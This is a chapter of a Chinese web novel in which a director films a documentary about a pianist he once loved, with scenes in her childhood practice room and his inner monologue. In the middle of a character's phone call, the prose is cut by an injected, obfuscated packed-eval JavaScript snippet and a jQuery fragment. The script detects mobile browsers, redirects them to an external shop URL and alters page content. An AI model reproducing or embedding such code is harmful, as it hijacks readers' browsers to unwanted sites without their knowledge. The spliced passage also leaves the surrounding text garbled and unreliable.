此项纪录片属于大型纪录片，其实目前才进入前期筹备期，但李寻既然执导，就当然会给李炽和梁初灵行方便。


    李寻与梁初灵和李炽签署了纪录片的意向协议，明确了权利义务，拍摄周期预估为十二到十八个月，是个长期项目。


    对当下来说，这份协议有着更实际的用处。


    李炽那边的片子终于拿到了上映许可批文，压在心头的大石挪开，整个团队都松了口气。


    梁初灵的工作室，则第一时间将协议摘要和项目说明，递往给了伊凡的团队，和梁父旧部的公司。


    附上致歉函，表示因需投入国家级文化项目，原有档期无法协调，后续合作暂难推进。


    伊凡团队最终回了个官方回复，没再纠缠。梁父旧部倒是又打了个电话，语气无比遗憾，但也识趣地不再多言。


    困扰梁初灵多日的围困，因这一纸协议，暂时解除。


    世界清静，梁初灵感受到权力与名望结合后，所能带来的有效性。


    她利用了这个系统，得到了庇护，击退了骚扰。


    这感觉复杂，有利用规则取胜的快意，但也并不觉得自由。


    她只是换到了一个更高级的棋盘上，拥有了更多的行动空间，但本质上仍是被更大的力量所安排。


    将这不合时宜的思辨抛开，至少眼前的问题是解决了。接下来，她要面对的是新的工作，以及与李寻不可避免的接触。


    -


    李寻那边，将乐团影片的后期工作，分包给了北电的研究生。他把关了分镜脚本和剪辑思路，把要求讲得很细。李寻给的报酬公道，还承诺成片会给他们挂上署名。


    对于学生，既能挣钱又能积累作品经历。


    对于影片，成本得到了控制，进度也有了保障。


    算是一举多得。


    他自己则迅速抽身，带着上面指派下来的几位工作人员，以及自己熟悉的团队成员，开始了紧锣密鼓的前期工作。


    政治任务有政治任务的高效，拍摄大纲和核心主题早已拟定，方向明确。


    七位钢琴家，每人侧重不同。


    如李炽的部分会着重其创立全华裔法派乐团的开拓性与艺术理念。


    再如梁初灵的部分，则更侧重于其年轻一代领军者的形象和国际赛事的突破性胜利。


    十一月初的北京，秋意已深，冬寒初显。


    拍摄名单上的七位钢琴家，散居世界各地，档期协调是最大的难题。


    梁初灵和李炽是其中近期唯二确定在国内的，且梁初灵十二月中下旬就要动身前往挪威准备音乐会。


    李寻的计划是，在十二月初启动梁初灵部分的实拍，争取在她出国前完成大部分需要她本人出镜的访谈和演奏。


    后续如果需要补充一些空镜和生活场景，或者涉及童年、学习经历等需要历史素材的部分，可以等她回国后再补拍，或者联系妈女士协助提供资料，甚至代为讲述一些故事。


    这类人物纪录片，故事线的搭建和剪辑的功力，比拍摄本身更重要。


    素材是砖瓦，如何砌成有灵魂的建筑，才是关键。而理解是搭建的前提。李寻需要尽可能地理解镜头外的每一位钢琴家，找到能串联起“钢琴家”与“人”的那条隐线。


    筹备会议开了一次又一次。场地协调、拍摄日程、采访提纲、视觉风格……千头万绪。


    李寻作为导演之一，又是最了解，或者说，曾经最了解梁初灵的人，承担了最多的沟通和规划工作，他主动加上了梁初灵的微信。


    他知道很快就要正式见面，在工作场合，以导演和拍摄对象的身份。


    拍摄地点首先定在梁初灵小时候的琴房，体现出一种起点的意味。


    梁初灵已经好几年没再踏足这里。


    琴房的外面有一棵树，很招虫子，但果子很甜。


    五六年前曾被从一人多高的地方砍断了主干，只留下一个树墩。


    当时她觉得那树肯定死了，然而如今惊讶地发现，原先位置重新生长出了一株新干。枝丫努力向上伸展，叶子在冬日里已经快掉光，带剩下几片挂出倔强的生命力。砍断的痕迹被新生的树皮包裹、覆盖，几乎看不出来，但它确实在那里，以一种近乎奇迹的方式重生。


    “梁老师，这边请。”工作人员的声音打断了她的思绪。


    摄制组已经先一步到来，架设好了灯光和录音设备，李寻正在和摄影师确认机位，听到声音，他转过身。


    两人都穿着得体，面色如常。


    “梁老师。”李寻先开口，只看了她一眼，便移向她身后的环境，“这个地方还和你记忆里一样吗？我们需要拍摄一些你回到旧日练习场所的反应和回忆。”


    “差不多吧。”梁初灵走进房间，把窗户推开，指了指外面这棵树，“要不拍拍这棵树吧。比起这个琴房，其实我对这棵树更有感情。”


    李寻顺着她的手指看去，目光越过她的肩头，落在那棵奇特的树上。房间里的工作人员在安静收拾设备或调试灯光，无人打扰这一角的静谧。


    他走到窗边另一侧，与梁初灵隔着一臂的距离，认真望向那棵树：“这棵树很有意思。”


    梁初灵侧过头看他，他并没有看她，依旧盯着那棵树，手指在窗台上敲击，是他思考时的小动作。


    “什么有意思？”她问。


    李寻这才转过头看她，眼睛里面是孩子气般的兴味盎然。


    “我在想能不能把它拍成一条独立的线。”他的想法在舌尖上跳跃成型，“不是作为你故事的背景板或者隐喻，那样太老套了。我觉得可以把它当成这部片里的一个角色。”


    梁初灵眨了眨眼，一时没完全理解：“角色？”


    “对。”李寻微微向前，想更清晰传达这个突如其来的灵感，“我觉得它有意思，因为它身上有个主动的故事。”


    他开始用手势辅助描述，在空中虚画出方框：“它有明确的前史——被砍伐。有当下的行动——残躯上重新抽枝。还有未来的悬念——不知道它能长多高，能否弥补曾经的断裂，又会经历怎样的风雨。”


    “在我们的纪录片里，钢琴家的故事是人的乐章，充满复杂的情感与抉择。而树的故事，是物的乐章，或者说是生命意志的乐章。它的镜头，会是片子呼吸的间隙，我们不把它和钢琴和音乐家的故事挂钩。就让关于树的镜头穿插在整部纪录片里。”


    他看向梁初灵，眼神灼灼，邀请她进入这个刚构建起的世界：“我们不给任何解说，就让画面自己说话。观众会自己完成这个叙事闭环。它和琴声、和掌声、和舞台灯光形成对话，甚至是反差。”


    “音乐是流动的，是瞬时的，是充满人类情感的华彩。而这棵树，是静止的、漫长的、静默的另一种生长的华彩。它们平行存在，各自叙述，又在更深的地方相通。你觉得呢？”


    梁初灵彻底听懂了，望着李寻因兴奋而格外生动的脸，用游戏般的态度，构想出一个跳跃的叙事方式。


    其实昨晚，梁初灵就去搜到李寻以前的作业影片，一条条看完，知道他饶有兴致地研究石头纹理，用音乐去模仿风声穿过不同形状缝隙的声音。


    他绕过那些公认的“意义”，去触摸事物诡谲的生命力。


    “让一棵树来讲故事。”梁初灵有一丝难以言喻的悸动，把她拉回了很久以前，那些被李寻点亮的日子。


    “对。”


    李寻越说思路越清晰，梁初灵听着，忽然觉得，李寻不仅仅是在设计镜头，也在为二人之间这段看似断裂的关系，找到了全新的观察和讲述方式。


    不纠缠于过去的对错与伤痛，而像观察这棵树一样，拉开时间的距离，用静默且平行的视角，去记录各自在分离后的生长。


    这个认知让她有些无措。她避开了他的视线，重新转头看向那棵树。


    这时琴房的门被敲响，黄潇走了进来，“导演，之前你提的那个关于城市与钢琴的穿插线索……”


    她语速很快，径直走向李寻，显然两人在工作上已有相当的默契，她的出现也打断了两人之间短暂的交汇。


    梁初灵将翻涌的心绪压回心底，但原本飘向窗外的视线收回，落在眼前的窗框上，研究上面的木纹。


    李寻也从那种创作中抽离，恢复了工作状态，转向黄潇：“正好，我也有个新想法。”


    黄潇听他说完，也看向那棵树，点点头。


    “镜头和色调也要调整。”李寻继续对黄潇说。


    “说到镜头和色调，”黄潇接上，“们这部片子整体基调是庄重的，但有些部分是不是可以更大胆一些？比如在梁老师这个部分，打光就不用那么拘束，可以用一些高饱和度的色光。”


    “就像《LaLaLand》里那样，还有最后那段蒙太奇幻想也可以用。用近乎梦幻的色彩来包裹情感和遗憾，用强烈的的光，去渲染梁老师的枯燥练习生活……”


    《LaLaLand》，梁初灵记得这部电影。她记得自己当时问李寻，为什么明明相爱，最后却没有在一起？为什么美的爱情要伴随遗憾？


    李寻说：“也许因为有些路只能一个人走。而那瞬间交汇的光芒，足够照亮彼此的一生。”


    Da！——


    李寻打了个响指，“你说得对。我们不需要那么歌舞升平，但用视觉语言外化内心世界的方法，可以用在梁初灵这里，打破观众对古典音乐纪录片的刻板印象。我们可以仔细规划几个关键节点……”


    二人热烈讨论起来，梁初灵站在原地，窗玻璃上映出她的脸。


    她曾经看不懂的遗憾，现在有了懂的人，陪在李寻身边和他一起体会，一起将它变成作品的一部分。一种细密的难过，像深秋的霜爬上她的心壁。


    她依然站在这里，可是她好像已经退场了。


    琴房的门被敲响，一个中年男人在工作人员引领下走了进来，直奔黄潇。


    “黄潇！”来人声音洪亮，带着笑意，是黄潇正在合作的另一部商业片的导演，姓陈，在业内以才华和脾气一样大而闻名，是位名副其实的大牌导演。


    几个年轻工作人员忍不住投去崇拜或好奇的目光。


    黄潇连忙起身：“陈导？您怎么到这儿来了？”


    “正好在附近勘景，顺道过来聊聊本子那个卡住的情节。”陈导环视了一下琴房环境，冲李寻点点头，“李导也在，忙呢？”


    李寻礼貌地冲他也点了点头：“陈导。”


    梁初灵也认出了这位名导，出于礼节，点了个头。陈导也止于礼节性的点点头。


    黄潇和陈导走到稍远一点的角落讨论。


    这边的工作暂时被打断，众人或好奇张望，或趁机休息。


    窗外的风更急，吹得那木窗轻响，有些灰尘被吹进来。梁初灵的位置离窗近，站起身想去把窗户关掉，免得等会儿影响录音。


    她刚要碰到，旁边一只手臂更快地伸过来，替她把窗户关了。


    李寻在梁初灵起身的同时就注意到了她的动作，木窗上有挺多木刺，他担心梁初灵伤到手。


    李寻关好窗转身，两人距离很近，梁初灵示意了一下远处正在讨论的黄潇和陈导，陈导冲李寻看了一眼又一眼，她提醒到：“陈导好像找你？”


    李寻顺着她的目光看，却并没有过去加入寒暄的意思。反而对梁初灵说：“你等他一会儿转身的时候，看这面墙。”


    “嗯？”梁初灵不明所以。


    “这儿。”李寻指了指是哪一面墙。


    陈导穿了件带有光滑涂层的深蓝色运动外套，在他突然转身的时候——下午倾斜的阳光，透过高处的窗户，照在他衣服的袖子和后背上，然后透光处折射，在墙上投下了一道迷你彩虹。


    “哇！”梁初灵没忍住。


    李寻嘴角向上弯了一下，很快又抿平。


    梁初灵想起很久以前，李寻也会这样让她看一些别人忽略的东西，现在的心情是混杂着偷享着独属于两人的隐秘快乐，以及随之而来的怅然。


    讨论暂告一段落，陈导离开。


    黄潇准备记录几个要点，顺手将自己的手机放在了旁边桌上，屏幕朝下。


    梁初灵也在回消息，回完后也随手放在了黄潇手机不远处，同样是屏幕朝下扣着。


    两人都没太在意这个动作。在公共场合，将手机屏幕朝下放置是为保护隐私的默认。


    黄潇记完笔记，抬眼时正好看见两部手机，愣了愣，随即笑出声来：“呀，梁老师，咱俩手机型号一样，连手机壳也居然一样！”


    “真是巧了，我是在网上那家流浪猫公益店买的，梁老师也是那家店买的吗？”


    梁初灵闻言也看向那两部手机。果然，一模一样的手机，套着一模一样的手机壳。


    她顺着黄潇的话点了点头：“是同一家。是还挺巧的。”


    这时其中一部手机发出震动。


    梁初灵记得自己没设置震动，自然就没去拿手机。


    黄潇见梁初灵没反应，自然就以为是自己手机在震，一边说着估计是剧组那边找我，一边翻过来一看，就看到屏幕上的来电显示是周序。


    黄潇惊讶又尴尬，连忙把手机递向梁初灵：“是周序老师！梁老师，我给你拿过来。”


    梁初灵也是一呆。她什么时候开的震动？


    也没多想就接听，因为心思有点飘，不小心按到了免提上。


    周序清朗中带着笑意的声音，回荡在安静的琴房里：“初灵，我昨晚耳机落你家了，你在家吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877674|189655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？能帮我找找吗？”


    这几个词组合在一起，传递出的信息量被无限放大。


    黄潇觉得自己可能不该听这话，立刻后退了小半步，眼神飘向别处，假装研究起墙上的旧海报。


    而背对着她们在看监视器的李寻，头都没回。


    梁初灵在听到免提声音传出的瞬间就反应过来了，手忙脚乱，长按音量键将声音调到最低，再去取消免提，压低声音：“你等一下……”


    她一边说，一边拿着手机走向角落。这种姿态更容易让人浮想联翩。


    昨天周序去梁家，送之前被梁初灵落在咖啡店的耳夹，张姨又热情，非让周序进去坐坐，周序也不客气，顺手把耳机摘下来放桌上，结果走的时候忘了。


    “我让我妈或张姨找找，找到了告诉你。我还有事，先挂了。”梁初灵没等他回应就直接结束了通话。


    黄潇一副专心工作的样子，仿佛刚才什么都没发生。


    而李寻在监视器后面，梁初灵看不到他的脸。


    这之后的拍摄，梁初灵和李寻都装得人五人六。


    李寻引导她讲述小时候练琴的趣事或艰辛，梁初灵配合度高，回忆清晰，表达生动，偶尔还能抛出几个恰到好处的幽默。


    一切都顺利进行。


    李寻透过监视器，发现梁初灵的确成长了好多，她面对镜头显得很坦然，完全看不出紧张。李寻看着梁初灵坐在旧钢琴前，侧脸在调整过的光线中显得柔和。她回答问题时的神态，弹琴时手指的起落，望向窗外那棵树的眼神，每一个细节都被镜头忠实记录。


    完美的合作氛围，也完美的将两人隔绝在职业距离之外。


    下午的日程相对轻松，梁初灵不需要一直在镜头前，便坐在房间角落里看手机。工作人员给大家点了咖啡，梁初灵的助理给她端了一杯拿铁，李寻拿起另一杯追上去换下，助理再一看，被换成了一杯抹茶。


    琴房的门再度被敲响，然后推开，金溪探进头来。


    “初灵！”她声音清脆。


    梁初灵也有些意外：“你怎么来了？”


    “我下午没排练，听说你在这儿拍片子，就溜达过来看看。”金溪走进来，先跟李寻和在场的工作人员打了招呼。她是李炽乐团的成员，又和梁初灵私交甚笃，出现在这里并不算突兀。


    金溪过来了，梁初灵的助理就准备离开——除了外出演出，助理其实不太跟在梁初灵身边，毕竟梁初灵还是不同于明星，不需要时刻看护。更多时候，助理只是需要替梁初灵去处理邮件消息、维护粉丝群体、和经纪人对接工作。


    梁初灵自己也不喜欢被人一直跟着。


    李寻对金溪点了点头，算是打过招呼；又和梁初灵的助理点了点头，算是告别。接着继续和摄影师讨论下一个镜头。


    金溪凑到梁初灵身边，两人低声聊了起来。


    起初是在说乐团最近的趣事，还有金溪练琴时遇到的困惑，后来不知金溪说了什么，梁初灵突然笑了出来，明媚灿烂，是李寻今天一整天都未见过的开怀。


    梁初灵还伸手拍了一下金溪的胳膊，神态生动，褪去了钢琴家的光环，也没有了面对镜头时的控制，就是一个二十出头和好友笑闹的年轻女孩。


    李寻出于职业本能，将镜头转向梁初灵。


    梁初灵出于职业本能，立刻发现了镜头。


    李寻的目光抓着镜头里的她。


    梁初灵的目光抓着镜头后的他——虽然她看不到后面的人，但她知道谁在那里。


    隔着机器，隔着距离，隔着五年，隔着伤口，她们就这样“对视”。


    不知道是谁说过，人的眼睛是最小的海，李寻觉得梁初灵的眼睛不是海，是两场最大的风，卷起无数沙尘，狂风奔涌，将他卷没。


    让他觉得命运简直冷酷无情。


    曾经在你我还是触手可及的关系时，我渴望了解你的一切，渴望参与你的过去、现在和未来。


    我想知道你在遇见我之前是如何长大的，想知道你练琴时除了咬牙坚持是否也会偷偷抹泪，想知道你喜欢什么讨厌什么，梦想着什么又恐惧着什么，想知道你童年时待过的琴房，你少年时奔跑过的街道，你第一次获奖时的心情……


    我总觉得自己来得太晚，错过了太多。


    我们的关系在青春期的尾巴上仓促开始，又在现实的风中断裂。


    如今我们分开，隔着已经分开的五年，在你的人生轨迹与我早已岔开，我只能旁观时——


    命运却以一种荒谬的方式，赋予了我这样一个正当的理由和机会，可以名正言顺地将镜头对准你，记录你，甚至挖掘你。


    我可以知道你在身份以外的全部细枝末节；可以知道你下课后是走路回家还是坐公交；可以观察你的注意力分给了哪些事物；可以留意你衣服的袖口习惯挽到什么位置；可以聆听你谈起喜欢的钢琴家时是崇敬、是共鸣、还是野心；可以分辨你偏爱哪个乐团的音色；可以在阳光下调整光圈、只为看清你瞳孔在强光下收缩时的纹路；可以通过你的朋友了解你还有哪些要好的伙伴，你们如何相处；可以从你助理那里知道，你习惯发消息还是更爱通电话；可以问你，北方的干燥和南方的湿润，更偏爱哪一种；甚至可以假设一个场景，去想象你弹琴时会不会闭着眼睛，任由思绪飘飞；可以留意你衣柜里的衣服大多是什么颜色；可以从你过往的社交媒体或她人的回忆里，拼凑出你上一次旅行是和谁一起，是在哪里，当时脸上是什么表情……


    所有这些，所有我曾渴望了解却未能完全了解的，所有关于梁初灵这个人的点点滴滴，如今，我似乎都有了某种权限去知道，去收集，去存入我的素材库，去成为我工作的一部分。


    我全部、全部都想要知道。


    我还是全部、全部都想要知道。


    这个认知带着巨大的力度，将李寻重击。


    在汹涌的欲望底层，无法伪装的情感浮了上来，清晰得让李寻浑身颤栗：


    我想念你。


    我还是如此想念你。


    我居然还是如此想念你。


    李寻心里涌起无法抑制的想念。


    他想念她。


    想念她曾经毫无保留看向他的眼神，想念她依赖他时的温度，想念她所有好的坏的、明亮的阴郁的、强大的脆弱的样子。


    想念到即使隔着这么多隔阂，即使知道她已经有了新的生活，即使清楚自己或许只是她需要摆脱麻烦时恰好可利用的一环。


    但这份想念依然顽固。


    摄影师看向李寻，用眼神询问是否继续。


    李寻对摄影师摇了摇头，示意可以了：“准备下一个镜头吧。”


    拍摄继续进行，阳光在慢慢移动，窗外的新枝在风里轻轻摇晃。